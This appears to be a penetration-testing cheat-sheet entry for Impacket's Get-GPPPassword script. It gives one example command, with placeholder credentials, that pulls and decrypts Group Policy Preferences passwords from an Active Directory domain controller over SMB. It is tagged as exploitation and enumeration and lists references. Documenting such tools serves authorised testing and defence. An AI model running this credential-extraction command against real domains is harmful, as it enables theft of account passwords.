Impacket-Get-GPPPassword

Python script to automatically extract and decrypt Group Policy Preferences (GPP) passwords using streams for carving files instead of mounting shares Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

python3 Get-GPPPassword.py 'TEST.local/john:password123@DC01.TEST.local' -dc-ip 10.10.10.1

Evidence

Upstream reference

Environment

Active Directory

Native

Exploitation, Enumeration

Requires

Password, Username, NTLM hash

Services

SMB

Refs

github.com/SecureAuthCorp/impacket/blob/master/examples/Get-GPPPassword.py

podalirius.net/en/articles/exploiting-windows-group-policy-preferences/